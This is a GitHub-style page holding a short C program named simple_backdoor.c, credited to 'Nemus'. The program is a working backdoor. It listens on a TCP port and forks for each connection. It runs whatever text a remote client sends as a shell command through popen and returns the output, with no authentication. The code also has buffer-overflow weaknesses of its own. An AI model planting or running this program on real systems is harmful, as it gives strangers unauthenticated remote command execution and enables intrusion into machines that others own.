-
Notifications
You must be signed in to change notification settings - Fork 4
/
simple_backdoor.c
130 lines (99 loc) · 2.53 KB
/
simple_backdoor.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
//simplebackdoor program by Nemus
//prototype
void process(int);
//run script function
char* runScript(char* command,char* buff);
//eroor message handle
void error(char *msg){
perror(msg);
exit(1);
}
int main(int argc, char *argv[]){
int server_sockfd;
int server_loopsockfd;
int port;
int client_length;
int pid;
struct sockaddr_in server_address, client_address;
if (argc < 2) {
fprintf(stderr,"ERROR: No port in args\n");
exit(1);
}
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (server_sockfd < 0){
error("ERROR: Could not opening socket");
}
bzero((char *) &server_address, sizeof(server_address));
port = atoi(argv[1]);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = INADDR_ANY;
server_address.sin_port = htons(port);
if (bind(server_sockfd, (struct sockaddr *) &server_address,sizeof(server_address)) < 0){
error("ERROR on binding to port number");
}
listen(server_sockfd,5);
client_length = sizeof(client_address);
while(1){
server_loopsockfd = accept(server_sockfd, (struct sockaddr *) &client_address, &client_length);
if (server_loopsockfd < 0){
error("ERROR: On accept");
}
pid = fork();
if (pid < 0){
error("ERROR on fork");
}
if (pid == 0) {
close(server_sockfd);
process(server_loopsockfd);
exit(0);
}
else{
close(server_loopsockfd);
}
}
return 0;
}
void process (int sock){
FILE *fp;
int status;
char path[1035];
int n;
char read_buffer[5000];
char buffer[5000];
char buffer2[5000];
bzero(buffer,5000);
bzero(buffer2,5000);
bzero(read_buffer,5000);
n = read(sock,read_buffer,5000);
if (n < 0){
error("ERROR reading from socket");
}
strncpy ( buffer, read_buffer, strlen(read_buffer)-2 );
runScript(buffer,buffer2);
n = write(sock,buffer2,5000);
if (n < 0){
error("ERROR writing to socket");
}
}
/*
* runs a bash script and returns the out put
*/
char* runScript(char* command,char *buff){
FILE *fpipe;
char path[1035];
if ( !(fpipe = (FILE*)popen(command,"r")) ){ // If fpipe is NULL
perror("Problems with pipe");
exit(1);
}
while (fgets(path, sizeof(path)-1, fpipe) != NULL) {
strcat(buff,path);
}
pclose(fpipe);
return buff;
}